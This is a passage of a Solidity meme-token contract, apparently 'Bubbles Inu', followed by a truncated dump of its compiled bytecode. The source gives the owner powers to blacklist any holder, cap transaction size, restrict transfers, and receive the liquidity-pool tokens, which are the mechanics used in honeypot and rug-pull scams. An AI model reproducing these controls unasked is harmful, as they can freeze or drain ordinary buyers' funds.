inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 5;
_teamFee = 10;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (60 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 2500000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612ede565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612a01565b61045e565b6040516101789190612ec3565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190613080565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce91906129b2565b61048d565b6040516101e09190612ec3565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612924565b610566565b005b34801561021e57600080fd5b50610227610656565b60405161023491906130f5565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f9190612a7e565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612924565b610783565b6040516102b19190613080565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612df5565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612ede565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612a01565b61098d565b60405161035b9190612ec3565b60405180910390f35b34801561037057600080fd5b5061038b60048036038101906103869190612a3d565b6109ab565b005b34801561039957600080fd5b506103a2610afb565b005b3480156103b057600080fd5b506103b9610b75565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612ad0565b6110d1565b005b3480156103f057600080fd5b5061040b60048036038101906104069190612976565b61121a565b6040516104189190613080565b60405180910390f35b60606040518060400160405280600b81526020017f427562626c657320496e75000000000000000000000000000000000000000000815250905090565b600061047261046b6112a1565b84846112a9565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a848484611474565b61055b846104a66112a1565b610556856040518060600160405280602881526020016137b960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c339092919063ffffffff16565b6112a9565b600190509392505050565b61056e6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612fc0565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6106676112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612fc0565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107526112a1565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611c97565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d92565b9050919050565b6107dc6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612fc0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600681526020017f425542494e550000000000000000000000000000000000000000000000000000815250905090565b60006109a161099a6112a1565b8484611474565b6001905092915050565b6109b36112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612fc0565b60405180910390fd5b60005b8151811015610af7576001600a6000848481518110610a8b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aef90613396565b915050610a43565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1614610b5c57600080fd5b6000610b6730610783565b9050610b7281611e00565b50565b610b7d6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0190612fc0565b60405180910390fd5b600f60149054906101000a900460ff1615610c5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5190613040565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cea30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112a9565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3057600080fd5b505afa158015610d44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d68919061294d565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dca57600080fd5b505afa158015610dde573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e02919061294d565b6040518363ffffffff1660e01b8152600401610e1f929190612e10565b602060405180830381600087803b158015610e3957600080fd5b505af1158015610e4d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e71919061294d565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610efa30610783565b600080610f05610927565b426040518863ffffffff1660e01b8152600401610f2796959493929190612e62565b6060604051808303818588803b158015610f4057600080fd5b505af1158015610f54573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f799190612af9565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff0219169083151502179055506722b1c8c1227a00006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161107b929190612e39565b602060405180830381600087803b15801561109557600080fd5b505af11580156110a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110cd9190612aa7565b5050565b6110d96112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115d90612fc0565b60405180910390fd5b600081116111a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a090612f80565b60405180910390fd5b6111d860646111ca83683635c9adc5dea000006120fa90919063ffffffff16565b61217590919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60105460405161120f9190613080565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611319576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131090613020565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611389576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138090612f40565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114679190613080565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114db90613000565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611554576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154b90612f00565b60405180910390fd5b60008111611597576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158e90612fe0565b60405180910390fd5b61159f610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160d57506115dd610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b7057600f60179054906101000a900460ff1615611840573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168f57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116e95750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117435750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183f57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117896112a1565b73ffffffffffffffffffffffffffffffffffffffff1614806117ff5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e76112a1565b73ffffffffffffffffffffffffffffffffffffffff16145b61183e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183590613060565b60405180910390fd5b5b5b60105481111561184f57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f35750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fc57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a75750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fd5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a155750600f60179054906101000a900460ff165b15611ab65742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6557600080fd5b603c42611a7291906131b6565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac130610783565b9050600f60159054906101000a900460ff16158015611b2e5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b465750600f60169054906101000a900460ff165b15611b6e57611b5481611e00565b60004790506000811115611b6c57611b6b47611c97565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c175750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2157600090505b611c2d848484846121bf565b50505050565b6000838311158290611c7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c729190612ede565b60405180910390fd5b5060008385611c8a9190613297565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ce760028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d12573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d6360028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d8e573d6000803e3d6000fd5b5050565b6000600654821115611dd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dd090612f20565b60405180910390fd5b6000611de36121ec565b9050611df8818461217590919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e5e577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e8c5781602001602082028036833780820191505090505b5090503081600081518110611eca577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f6c57600080fd5b505afa158015611f80573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fa4919061294d565b81600181518110611fde577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061204530600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a9565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120a995949392919061309b565b600060405180830381600087803b1580156120c357600080fd5b505af11580156120d7573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b60008083141561210d576000905061216f565b6000828461211b919061323d565b905082848261212a919061320c565b1461216a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161216190612fa0565b60405180910390fd5b809150505b92915050565b60006121b783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612217565b905092915050565b806121cd576121cc61227a565b5b6121d88484846122ab565b806121e6576121e5612476565b5b50505050565b60008060006121f9612488565b91509150612210818361217590919063ffffffff16565b9250505090565b6000808311829061225e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122559190612ede565b60405180910390fd5b506000838561226d919061320c565b9050809150509392505050565b600060085414801561228e57506000600954145b15612298576122a9565b600060088190555060006009819055505b565b6000806000806000806122bd876124ea565b95509550955095509550955061231b86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461255290919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123b085600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123fc816125fa565b61240684836126b7565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516124639190613080565b60405180910390a3505050505050505050565b6005600881905550600a600981905550565b600080600060065490506000683635c9adc5dea0000090506124be683635c9adc5dea0000060065461217590919063ffffffff16565b8210156124dd57600654683635c9adc5dea000009350935050506124e6565b81819350935050505b9091565b60008060008060008060008060006125078a6008546009546126f1565b92509250925060006125176121ec565b9050600080600061252a8e878787612787565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061259483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c33565b905092915050565b60008082846125ab91906131b6565b9050838110156125f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125e790612f60565b60405180910390fd5b8091505092915050565b60006126046121ec565b9050600061261b82846120fa90919063ffffffff16565b905061266f81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126cc8260065461255290919063ffffffff16565b6006819055506126e78160075461259c90919063ffffffff16565b6007819055505050565b60008060008061271d606461270f888a6120fa90919063ffffffff16565b61217590919063ffffffff16565b905060006127476064612739888b6120fa90919063ffffffff16565b61217590919063ffffffff16565b9050600061277082612762858c61255290919063ffffffff16565b61255290919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806127a085896120fa90919063ffffffff16565b905060006127b786896120fa90919063ffffffff16565b905060006127ce87896120fa90919063ffffffff16565b905060006127f7826127e9858761255290919063ffffffff16565b61255290919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061282361281e84613135565b613110565b9050808382526020820190508285602086028201111561284257600080fd5b60005b858110156128725781612858888261287c565b845260208401935060208301925050600181019050612845565b5050509392505050565b60008135905061288b81613773565b92915050565b6000815190506128a081613773565b92915050565b600082601f8301126128b757600080fd5b81356128c7848260208601612810565b91505092915050565b6000813590506128df8161378a565b92915050565b6000815190506128f48161378a565b92915050565b600081359050612909816137a1565b92915050565b60008151905061291e816137a1565b92915050565b60006020828403121561293657600080fd5b60006129448482850161287c565b91505092915050565b60006020828403121561295f57600080fd5b600061296d84828501612891565b91505092915050565b6000806040838503121561298957600080fd5b60006129978582860161287c565b92505060206129a88582860161287c565b9150509250929050565b6000806000606084860312156129c757600080fd5b60006129d58682870161287c565b93505060206129e68682870161287c565b92505060406129f7868287016128fa565b9150509250925092565b60008060408385031215612a1457600080fd5b6000612a228582860161287c565b9250506020612a33858286016128fa565b9150509250929050565b600060208284031215612a4f57600080fd5b600082013567ffffffffffffffff811115612a6957600080fd5b612a75848285016128a6565b91505092915050565b600060208284031215612a9057600080fd5b6000612a9e848285016128d0565b91505092915050565b600060208284031215612ab957600080fd5b6000612ac7848285016128e5565b91505092915050565b600060208284031215612ae257600080fd5b6000612af0848285016128fa565b91505092915050565b600080600060608486031215612b0e57600080fd5b6000612b1c8682870161290f565b9350506020612b2d8682870161290f565b9250506040612b3e8682870161290f565b9150509250925092565b6000612b548383612b60565b60208301905092915050565b612b69816132cb565b82525050565b612b78816132cb565b82525050565b6000612b8982613171565b612b938185613194565b9350612b9e83613161565b8060005b83811015612bcf578151612bb68882612b48565b9750612bc183613187565b925050600181019050612ba2565b5085935050505092915050565b612be5816132dd565b82525050565b612bf481613320565b82525050565b6000612c058261317c565b612c0f81856131a5565b9350612c1f818560208601613332565b612c288161346c565b840191505092915050565b6000612c406023836131a5565b9150612c4b8261347d565b604082019050919050565b6000612c63602a836131a5565b9150612c6e826134cc565b604082019050919050565b6000612c866022836131a5565b9150612c918261351b565b604082019050919050565b6000612ca9601b836131a5565b9150612cb48261356a565b602082019050919050565b6000612ccc601d836131a5565b9150612cd782613593565b602082019050919050565b6000612cef6021836131a5565b9150612cfa826135bc565b604082019050919050565b6000612d126020836131a5565b9150612d1d8261360b565b602082019050919050565b6000612d356029836131a5565b9150612d4082613634565b604082019050919050565b6000612d586025836131a5565b9150612d6382613683565b604082019050919050565b6000612d7b6024836131a5565b9150612d86826136d2565b604082019050919050565b6000612d9e6017836131a5565b9150612da982613721565b602082019050919050565b6000612dc16011836131a5565b9150612dcc8261374a565b602082019050919050565b612de081613309565b82525050565b612def81613313565b82525050565b6000602082019050612e0a6000830184612b6f565b92915050565b6000604082019050612e256000830185612b6f565b612e326020830184612b6f565b9392505050565b6000604082019050612e4e6000830185612b6f565b612e5b6020830184612dd7565b9392505050565b600060c082019050612e776000830189612b6f565b612e846020830188612dd7565b612e916040830187612beb565b612e9e6060830186612beb565b612eab6080830185612b6f565b612eb860a0830184612dd7565b979650505050505050565b6000602082019050612ed86000830184612bdc565b92915050565b60006020820190508181036000830152612ef88184612bfa565b905092915050565b60006020820190508181036000830152612f1981612c33565b9050919050565b60006020820190508181036000830152612f3981612c56565b9050919050565b60006020820190508181036000830152612f5981612c79565b9050919050565b60006020820190508181036000830152612f7981612c9c565b9050919050565b60006020820190508181036000830152612f9981612cbf565b9050919050565b60006020820190508181036000830152612fb981612ce2565b9050919050565b60006020820190508181036000830152612fd981612d05565b9050919050565b60006020820190508181036000830152612ff981612d28565b9050919050565b6000602082019050818103600083015261301981612d4b565b9050919050565b6000602082019050818103600083015261303981612d6e565b9050919050565b6000602082019050818103600083015261305981612d91565b9050919050565b6000602082019050818103600083015261307981612db4565b905